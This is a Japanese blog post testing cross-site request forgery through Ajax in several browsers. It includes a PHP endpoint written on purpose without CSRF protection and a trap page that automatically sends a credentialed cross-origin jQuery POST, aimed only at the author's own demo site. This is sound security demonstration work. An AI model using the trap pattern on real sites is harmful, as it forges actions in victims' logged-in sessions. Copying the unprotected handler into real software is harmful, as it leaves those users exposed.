FirefoxだとAjaxでのCSRFができなくなってる?

(2015-03-20 追記) 【訂正】 Firefox 36でAjaxを利用したCSRF攻撃が可能なことを確認しました。この記事で攻撃できないとしていたのは、Firefoxのアドオンが防いでいたようです。

Ajaxを利用したCSRF攻撃を検証していたのですが、どうも手許のFirefox(34.0)からだと攻撃が成功しません。 なんということでしょう! いや、攻撃できない方がいいんですが。 あと、以前のFirefoxだと攻撃できたかどうかは記録がないので不明だったりしますが、たぶんできたような気はしてます...

検証方法

攻撃対象ページと罠ページを作成します。

攻撃対象ページ

まず、リクエストを受ける攻撃対象ページを作成します。

POSTメソッドでリクエストされた場合に、ログに記録するだけです。もちろんなんのCSRF対策もしません。

GETされた場合は、確認のためにログを表示するようにします。

<?php

$log = __DIR__ . '/post.log';

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $lines = file($log);
    $lines = array_reverse($lines);
    echo '<pre>' . "\n";
    foreach ($lines as $line) {
        echo htmlspecialchars($line);
    }
    echo '</pre>' . "\n";
} else {
    $data = $_POST;
    $data['time'] = date(DATE_ATOM);
    $data['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

    $line = sprintf('[%s] "%s" "%s"' . "\n", $data['time'], $data['comment'], $data['user_agent']);
    file_put_contents($log, $line, LOCK_EX | FILE_APPEND);
}

これで、攻撃対象ページは完成です。

罠ページ

次に、罠ページを作成します。攻撃したい人をこの罠ページにアクセスさせれば、CSRFによる攻撃が実行されます。

jQueryで自動的にAjaxでPOSTするようにします。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>CSRF attack via Ajax</title>
        <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
        <script>
            $(function () {
                function post() {
                    $.ajaxSetup({
                        crossDomain: true,
                        xhrFields: {
                            withCredentials: true
                        }
                    });

                    $.post(
                        'https://csrf-ajax-target.herokuapp.com/',
                        {comment: 'This is CSRF attack via Ajax'}
                    )
                }

                post();
            });
        </script>
    </head>

    <body>
        <p>CSRF attack via Ajax</p>
        <p><?php echo date(DATE_ATOM); ?></p>
    </body>
</html>

これで、完了です。面倒なので、攻撃したとかそういう親切な表示はありません。現在時刻だけ表示してます。

試したい人へ

(2015-03-23 追記) サンプルサイトを変更しました。

すぐに試せるように、罠ページをhttp://csrf-trap.herokuapp.com/ajax-post/に作成しました。

ということで、攻撃されてみたい人はhttp://csrf-trap.herokuapp.com/ajax-post/にアクセスし、その後、「See results.」のリンクをクリックしてください。

攻撃が成功していれば、1行目に「CSRF attack was succeeded.」、2行目にCSRFでPOSTしたメッセージ「This is CSRF attack via Ajax」が表示されます。

結果

攻撃成功

  • Firefox 36.0 (Linux)(2015-03-20 追記)
  • Chrome/39.0.2171.65 (Linux)
  • Opera/9.80 (Linux)

攻撃失敗

  • Firefox 34.0 (Linux)

関連

Date: 2014/12/22

Tags: ajax, csrf, firefox